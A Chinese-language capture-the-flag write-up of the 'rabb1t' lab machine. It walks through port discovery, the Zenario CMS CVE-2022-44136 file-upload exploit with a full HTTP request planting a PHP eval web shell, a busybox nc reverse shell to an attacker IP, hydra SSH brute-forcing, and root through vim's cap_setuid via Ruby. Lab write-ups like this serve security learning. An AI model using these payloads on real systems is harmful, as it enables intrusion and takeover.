rabb1t靶机---Tuf

第一次拿到root首杀，写一个wp来记录一下，靶机所展现出来的就像他的名字一样，像一只兔子一直跳。

信息收集

作者在一开始就提示我们注意信息收集，然后就开始扫端口，这里是做的第一次信息搜集

Port	Proto	Target	Banner
22	SSH	10.70.192.37:22	OpenSSH 8.4p1 Debian 5+deb11u3
80	HTTP	http://10.70.192.37:80	Apache/2.4.62 (Debian)
1028	HTTP	http://10.70.192.37:1028	Nginx 1.18.0

开始常规的扫80端口的目录但是没有任何的东西，说明入口点不在这里，开始扫nginx服务的目录，发现扫不了

```
 _|. _ _  _  _  _ _|_    v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: D:\tool\red\Rabbit_Treasure_Box_v1.0\toosl\Information_collection\directory_scan\o
rts\http_10.70.192.37_1028\__25-07-19_19-51-26.txt

Target: http://10.70.192.37:1028/

[19:51:26] Starting:

Cannot connect to: 10.70.192.37:1028

Task Completed
```

开始第二次信息搜集，端口变了，多扫几次看能不能找到规律

80	HTTP	http://10.70.192.37:80	Apache/2.4.62 (Debian)
22	SSH	10.70.192.37:22	OpenSSH 8.4p1 Debian 5+deb11u3
1070	HTTP	http://10.70.192.37:1070	Nginx 1.18.0

大概是10到15秒左右端口就会加俩位，就像是一只兔子一样跳来跳去的，哈哈哈哈哈哈，好了现在我们知道了这个就可以进行扫目录了，可以写一个脚本

后面看了夜佬的wp可以进行端口转发，可以实现一个稳定的端口

不过当时我是没有扫目录。先趁端口没有变时进行访问一手，看看有没有直接的信息，在源码里看到CMS信息Zenario 9.3.57186

```
<meta property="og:description" content=""/>
<meta name="description" content="" />
<meta name="generator" content="Zenario 9.3.57186" />
<meta name="keywords" content="" />
<meta name="skin" content="zebra_designs"/>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" type="text/css" media="screen" href="zenario/styles/skin.cache_wrapper.css.php?v=9.3.57186.szjnfu&amp;id=1&amp;layoutId=2"/>
<link rel="stylesheet" type="text/css" media="print" href="zenario/styles/skin.cache_wrapper.css.php?v=9.3.57186.szjnfu&amp;id=1&amp;print=1"/>
<style type="text/css" id="plgslt_Slot_Logo-styles">
#plgslt_Slot_Logo_img { width: 220px; height: 55px; }
body.mobile #plgslt_Slot_Logo_img { width: 120px; height: 30px; }
</style>
```

到这里我就卡了好久，因为网页是没有信息界面的，这里就想着下载一个对应的CMS在自己本地搭一个，看看后台传入参数情况，尝试使用默认的后台账户密码进行登陆，后面发现搭成功后，后台传参十分的复杂

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:140.0) Gecko/20100101 Firefox/140.0
Accept-Encoding: gzip, deflate
Referer: http://10.70.192.30/admin.php
Content-Length: 1012

_validate=true&
_box=%7B%22tab%22%3A%22~login%22%2C%22tabs%22%3A%7B%22log
in%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fiel
ds%22%3A%7B%22reset%22%3A%7B%22_was_hidden_before%22%3Atr
ue%7D%2C%22description%22%3A%7B%7D%2C%22secure_connection
%22%3A%7B%22_was_hidden_before%22%3Atrue%7D%2C%22not_secu
re_connection%22%3A%7B%7D%2C%22username%22%3A%7B%22curren
t_value%22%3A%22~admin%22%7D%2C%22password%22%3A%7B%22cur
rent_value%22%3A%22~admin%22%7D%2C%22admin_login_captcha%
22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_valu
e%22%3A%22%22%7D%2C%22remember_me%22%3A%7B%22current_valu
e%22%3Atrue%7D%2C%22admin_link%22%3A%7B%7D%2C%22login%22%
3A%7B%22pressed%22%3Atrue%7D%2C%22forgot%22%3A%7B%22press
ed%22%3Afalse%7D%2C%22previous%22%3A%7B%22pressed%22%3Afa
lse%7D%7D%7D%2C%22forgot%22%3A%7B%22edit_mode%22%3A%7B%22
on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%
7D%2C%22email%22%3A%7B%22current_value%22%3A%22%22%7D%2C%
22previous%22%3A%7B%7D%2C%22reset%22%3A%7B%7D%7D%7D%7D%2C
%22path%22%3A%22~login%22%7D
```

```
mod_log_rotate/1.02
X-Powered-By: PHP/8.0.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=om1kt2ithiqkfmhge9qocfcgau; expires=Sat,
19-Jul-2025 13:17:26 GMT; Max-Age=1800; path=/; HttpOnly
Content-Type: text/javascript; charset=UTF-8
Content-Length: 3293

{"tab":"login","tabs":{"login":{"edit_mode":{"enabled":"1"},
"fields":{"reset":{"snippet":{"html":"<h1>Zenario Administrator
Login<\/h1>\n<p>\n    If your details are known to this site,
your administrator username and a temporary\n    password will
have been emailed to you.\n\n    Please check your \"spam\"
folder if not immediately received!\n<\/p><p>\n    Then please
enter your details below.\n<\/p>"},"ord":1},"description":
{"snippet":{"h1":"Log in as a site administrator"},"ord":2},
"secure_connection":{"snippet":{"p_class":"secure_connection",
"p":"Secure connection"},"ord":3,"hidden":true},
"not_secure_connection":{"snippet":
{"p_class":"not_secure_connection","p":"Warning, you are
connecting via http and so your credentials will not be sent
securely."},"ord":4},"username":{"label":"Administrator username,
or email address:","type":"text","row_class":"row_form",
"class":"username","return_key_presses_button":"login","ord":5,
"current_value":"admin"},"password":{"label":"Administrator
password:","type":"password","row_class":"row_form",
"class":"password","return_key_presses_button":"login","ord":6,
"current_value":"admin"},"admin_login_captcha":{"captcha":[],
"tooltip":"The captcha system is enabled by a setting in this
site's description file\n(in <code>zenario_custom\/
site_description.yaml<\/code>).\nPlease speak to your system
administrator to change this setting.","ord":7},"remember me":
```

这里一度想让我放弃，后面发现群里发了一些查CVE的网站，不会这么巧吧，反正没招了，就试试

这里找到了我们最想做的事，我这里使用的是yakit，使用bp的话需要修改右边的设置

CVE-2022-44136 Zenario CMS 9.3.57186 is vulnerable to Remote Code Excution (RCE).

需要我们以POST的方式构造文件上传的请求

彩蛋一：这里其实有一个POC，大家可以试试，其实是Tuf自己传的哈哈哈哈哈，写的挺好的就是没什么用

```
https://github.com/Ch35h1r3c47/CVE-2022-44136-poc
```

```
POST /zenario/ajax.php?
method_call=handlePluginAJAX&cID=1&sildeId=0&cType=html&instanceId=20&fileUpload
HTTP/1.1
Host: 10.70.192.37:1370
Content-Type:multipart/form-data;boundary=----------------------------
-7db372eb000e2
Content-Length: 69

------------------------------7db372eb000e2
Content-Disposition: form-data; name="fileUpload"; filename="cmd.php"
Content-Type: image/svg+xml

<?php eval($_GET['cmd']);?>
------------------------------7db372eb000e2--
```

```
POST /zenario/ajax.php?method_call=handlePluginAJAX&cID=1&sildeId=0&cType=html&instanceId=20&fileUpload HTTP/1.1
Host : 10.70.192.37:1370
Content-Type:multipart/form-data; boundary=----------------------------7db372eb000e2
Content-Length auto : 69

------------------------------7db372eb000e2
Content-Disposition: form-data; name="fileUpload"; filename="cmd.php"
Content-Type: image/svg+xml

<?php eval($_GET['cmd']);?>
------------------------------7db372eb000e2--
```

```
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.9.2
Date: Sat, 19 Jul 2025 13:07:41 GMT
Server: nginx/1.18.0
Date: Sat, 19 Jul 2025 13:07:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=63b0cab5224ced189710bd9dd76737cc; expires=Sat, 19 Jul 2025 13:37:41 GMT; Max-Age=1800; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=63b0cab5224ced189710bd9dd76737cc; expires=Sat, 19 Jul 2025 13:37:41 GMT; Max-Age=1800; path=/; HttpOnly
Content-Length: 97

{"files":[{"name":"cmd.php","path":"private\/uploads\/on-aZAp-HsTAd-HcVwFqO7Fwsg5fXw\/cmd.php"}]}
```

现在就可以执行命令了

```
GET /private/uploads/on-aZAp-HsTAd-HcVwFqO7Fwsg5fXw/cmd.php?cmd=system('whoami'); HTTP/1.1
Host : 10.70.192.37:1394
```

```
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.9.2
Date: Sat, 19 Jul 2025 13:13:41 GMT
Server: nginx/1.18.0
Date: Sat, 19 Jul 2025 13:13:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 9

www-data
```

现在我们弹shell即可

```
GET /private/uploads/on-aZAp-HsTAd-HcVwFqO7Fwsg5fXw/cmd.php?cmd=system('busybox+nc+10.70.192.30+5566+-e+/bin/bash'); HTTP/1.1
Host : 10.70.192.37:1440
```

```
HTTP/1.0 500 Proxy Error: timed out
Server: BaseHTTP/0.6 Python/3.9.2
Date: Sat, 19 Jul 2025 13:25:14 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 459

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 500</p>
        <p>Message: Proxy Error: timed out.</p>
        <p>Error code explanation: 500 - Server got itself in trouble.</p>
    </body>
</html>
```

user

我们找到兔子洞了哈哈哈哈，Tuf还是很幽默的

```
www-data@Rabb1t:~/htm1/private/uploads/on-aZAp-HsTAd-HcVwFqO7Fwsg5fXw$ cd /
cd /
www-data@Rabb1t:/$ ls /home
ls /home
morii
www-data@Rabb1t:/$ cat /home/morii/user.txt
cat /home/morii/user.txt
flag{user_Down the Rabbit-Hole}
www-data@Rabb1t:/$
```

现在我们可以尝试爆一下morii的密码当然可以不爆，发现是一样的

```
hydra -l morii -P D:\tool\red\rockyou.txt\rockyou.txt -e nsr ssh://10.70.192.37/
```

```
D:\tool\red\Rabbit_Treasure_Box_v1.0\toosl\Credential_Access\tools\thc-hydra-windows-v9.1>hydra -l morii -P D:\tool\red\rockyou.
t\rockyou.txt -e nsr ssh://10.70.192.37/
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for i
egal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-19 21:34:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to preven
overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (l:1/p:14344402), ~896526 tries per task
[DATA] attacking ssh://10.70.192.37:22/
[22][ssh] host: 10.70.192.37   login: morii   password: morii
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-19 21:34:31
```

root

查看用户被允许以 `sudo` 身份执行哪些命令，以及是否需要密码验证等详细信息

```
morii@Rabb1t:~$ sudo -l
Matching Defaults entries for morii on Rabb1t:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/usr/
games/

User morii may run the following commands on Rabb1t:
    (ALL) NOPASSWD: /usr/games/sl
```

彩蛋二：执行`/usr/games/sl`就是好玩，哈哈哈哈哈

接下来查看有哪些文件是可以有suid权限的

```
find / -user root -perm -4000 -print 2>/dev/null
```

```
morii@Rabb1t:~$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/tmp/bash
```

彩蛋三：看到最后一个是不是要`bash -p`提权呀，哈哈哈哈哈哈，其实并不可以假如这个文件存在其他的目录下就可以直接提权了，但是在tmp目录下默认是禁用suid的。

好了我们主要是来提权的，查看Capabilities 特权

```
/sbin/getcap -r / 2>/dev/null
```

```
morii@Rabb1t:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/vim = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_servi
ce,cap_net_admin+ep
morii@Rabb1t:~$
```

看到vim就该想到使用vim提权

网上所有的方式我试便了，都不行，在查看了vim的版本后，发现了他所加载的扩展，没有python，不过有ruby

```
morii@Rabb1t:~$ vim --version
VIM - Vi IMproved 9.1 (2024 Jan 02, compiled Jul 17 2025 04:32:53)
Included patches: 1-1557
Compiled by root@Qingmei
Huge version without GUI.  Features included (+) or not (-):
+acl               +find_in_path      +multi_byte        +termguicolors
+arabic            +float             +multi_lang        +terminal
+autocmd           +folding           -mzscheme          +terminfo
+autochdir         -footer            +netbeans_intg     +termresponse
-autoservername    +fork()            +num64             +textobjects
-balloon_eval      -gettext           +packages          +textprop
+balloon_eval_term -hangul_input      +path_extra        +timers
-browse            +iconv             -perl              +title
++builtin_terms    +insert_expand     +persistent_undo   -toolbar
+byte_offset       +ipv6              +popupwin          +user_commands
+channel           +job               +postscript        +vartabs
+cindent           +jumplist          +printer           +vertsplit
-clientserver      +keymap            +profile           +vim9script
-clipboard         +lambda            -python            +viminfo
+cmdline_compl     +langmap           -python3           +virtualedit
+cmdline_hist      +libcall           +quickfix          +visual
+cmdline_info      +linebreak         +reltime           +visualextra
+comments          +lispindent        +rightleft         +vreplace
+conceal           +listcmds          +ruby              -wayland
+cryptv            +localmap          +scrollbind        -wayland_clipboard
+cscope            -lua               +signs             +wildignore
+cursorbind        +menu              +smartindent       +wildmenu
```

刚好这个提权是用到了python，我们就需要python替换为ruby

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.

```
sudo install -m =xs $(which vim) .

./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

```
vim -c ':ruby require "etc"; Process::Sys.setuid(0); exec("/bin/sh", "-c",
"reset; exec sh")'
```

```
# whoami
root
# id
uid=0(root) gid=1000(morii) groups=1000(morii)
#
```

提权成功，这个靶机还是让我学到了很多东西，看了夜佬的wp发现我属于是硬打哈哈哈哈，不过学到东西是好的，这里还有一个**彩蛋四**：如果扫了目录的话就会发现一个password.txt，看似像是某个用户的密码，其实没用一点用哈哈哈哈哈哈